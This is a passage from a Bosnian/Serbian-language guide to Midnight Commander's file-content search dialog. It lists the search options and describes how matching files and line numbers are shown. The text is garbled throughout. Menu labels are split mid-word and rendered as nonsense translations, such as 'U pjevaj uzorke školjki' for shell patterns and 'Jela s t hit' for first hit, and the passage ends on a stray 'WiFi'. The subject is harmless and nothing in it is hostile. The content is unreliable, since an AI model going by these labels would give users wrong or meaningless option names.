  • « U pjevaj uzorke školjki" ( M etashell znakovi)
  • „Cas e osjetljivo" ( Učak i registrovati)
  • « A ll charsets" ( IN Sva kodiranja)
  • „S k IP skriven" ( Skip skt s ti)

na terenu" Sadržaj» ( Sadržaj ) unesite red koji će Midnight Commander morati pronaći u svim datotekama na koje naiđe.

Po želji odaberite:

  • „More r ch za sadržaj" ( Pretraga po sadržaju i Valjda) ← OVA OPCIJA JE POTREBNA ZA PRETRAGU NIZA
  • „Re g ularni izraz" ( R regularni izraz)
  • „Smisao za slučaj i tive" ( Računovodstvo re G istra)
  • „A l l charsets" ( Ned e kodiranja)
  • « W rupe riječi" ( WITH ceo ulov)
  • „Jela s t hit" ( Do prvog ulaza X rođenje)

Započni pretragu " O k" ( D alshe), zaustavi sa " C ansel" ( P rastrgati).

Nakon što program prođe kroz sve fajlove, prikazaće ih kao listu direktorijuma u kojima se nalaze fajlovi sa podudaranjima + sami fajlovi sa brojevima redova u kojima su pronađena podudaranja sa traženom frazom.

Općenito, mega-praktičan program kada tražite nešto što znate, ali ne znate gdje tačno tražiti. :)

WiFi